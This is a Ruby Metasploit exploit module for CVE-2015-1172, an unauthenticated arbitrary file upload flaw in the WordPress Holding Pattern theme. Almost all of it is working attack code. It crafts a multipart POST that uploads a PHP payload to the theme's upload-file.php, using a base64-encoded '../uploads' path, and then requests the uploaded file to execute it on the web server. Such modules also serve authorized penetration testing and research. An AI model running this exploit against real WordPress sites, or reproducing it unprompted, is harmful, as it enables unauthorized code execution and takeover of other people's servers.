WordPress Theme Holding Pattern - Arbitrary File Upload (Metasploit)

##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'socket'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'WordPress Holding Pattern Theme Arbitrary File Upload',
      'Description'     => %q{
          This module exploits a file upload vulnerability in all versions of the
          Holding Pattern theme found in the upload_file.php script which contains
          no session or file validation. It allows unauthenticated users to upload
          files of any type and subsequently execute PHP scripts in the context of
          the web server.
        },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Alexander Borg',                 # Vulnerability disclosure
          'Rob Carr <rob[at]rastating.com>' # Metasploit module
        ],
      'References'      =>
        [
          ['CVE', '2015-1172'],
          ['WPVDB', '7784'],
          ['PACKETSTORM', '130282']
        ],
      'DisclosureDate'  => 'Feb 11 2015',
      'Platform'        => 'php',
      'Arch'            => ARCH_PHP,
      'Targets'         => [['holding_pattern', {}]],
      'DefaultTarget'   => 0
    ))
  end

  def check
    check_theme_version_from_readme('holding_pattern')
  end

  def rhost
    datastore['RHOST']
  end

  def holding_pattern_uploads_url
    normalize_uri(wordpress_url_themes, 'holding_pattern', 'uploads/')
  end

  def holding_pattern_uploader_url
    normalize_uri(wordpress_url_themes, 'holding_pattern', 'admin', 'upload-file.php')
  end

  def generate_mime_message(payload, payload_name)
    data = Rex::MIME::Message.new
    target_ip = IPSocket.getaddress(rhost)
    field_name = Rex::Text.md5(target_ip)

    # In versions 1.2 and 1.3 of the theme, the upload directory must
    # be encoded in base64 and sent with the request. To maintain
    # compatibility with the hardcoded path of ../uploads in prior
    # versions, we will send the same path in the request.
    upload_path = Rex::Text.encode_base64('../uploads')

    data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{field_name}\"; filename=\"#{payload_name}\"")
    data.add_part(upload_path, nil, nil, 'form-data; name="upload_path"')
    data
  end

  def exploit
    print_status("Preparing payload...")
    payload_name = "#{Rex::Text.rand_text_alpha_lower(10)}.php"
    data = generate_mime_message(payload, payload_name)

    print_status("Uploading payload...")
    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => holding_pattern_uploader_url,
      'ctype'     => "multipart/form-data; boundary=#{data.bound}",
      'data'      => data.to_s
    )
    fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
    fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200
    payload_url = normalize_uri(holding_pattern_uploads_url, payload_name)

    print_status("Executing the payload at #{payload_url}")
    register_files_for_cleanup(payload_name)
    send_request_cgi({ 'uri' => payload_url, 'method'  => 'GET' }, 5)
  end
end